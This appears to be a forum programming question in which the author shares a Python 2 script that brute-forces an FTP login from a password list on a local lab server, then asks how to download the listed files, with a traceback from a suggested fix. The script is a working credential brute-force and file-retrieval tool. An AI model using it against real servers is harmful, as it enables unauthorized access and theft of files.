i built this simple tool to brute force and connect to the ftp server
import socket
import ftplib
from ftplib import FTP
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
ftp = FTP(ip)
ftp.login('NINJA',password)
print "File List:"
files = ftp.dir()
currently the tool works (i planted the right password 3rd on the file list) - when i log in i get this output:
port 21 is open
123
('THE PASSWORD IS:', '123')
File List:
drwxr-xr-x 2 0 0 4096 Jan 17 19:15 Folder
drwxr-xr-x 2 0 0 4096 Jan 17 19:12 Folder2
drwxr-xr-x 2 0 0 4096 Jan 17 19:16 Folder3
-rw-r--r-- 1 0 0 0 Jan 17 21:42 blat.txt
-rw-r--r-- 1 0 0 565 Jan 17 19:10 try.py
from here, what i want is to allow the user (me) to retrieve files either 1 specific file or all of them - but i do not know what is the simplest way to go about this
the choice itself of 1 or all, i can do, (press 1 to copy all ->) but the command itself to copy all or just one, and if one then based on what im not sure how to do.
EDIT: adding what Xendrm suggested to the code yealds this:
Type a number for download or type 0 for all
0
downloading=> Folder
Traceback (most recent call last):
File "/home/USER/aPython scripts/BRUT FTP.py", line 49, in <module>
download(j)
File "/home/USER/aPython scripts/BRUT FTP.py", line 44, in download
ftp.retrbinary("RETR " + files[j],f)
File "/usr/lib/python2.7/ftplib.py", line 406, in retrbinary
conn = self.transfercmd(cmd, rest)
File "/usr/lib/python2.7/ftplib.py", line 368, in transfercmd
return self.ntransfercmd(cmd, rest)[0]
File "/usr/lib/python2.7/ftplib.py", line 331, in ntransfercmd
resp = self.sendcmd(cmd)
File "/usr/lib/python2.7/ftplib.py", line 244, in sendcmd
return self.getresp()
File "/usr/lib/python2.7/ftplib.py", line 219, in getresp
raise error_perm, resp
error_perm: 550 Failed to open file.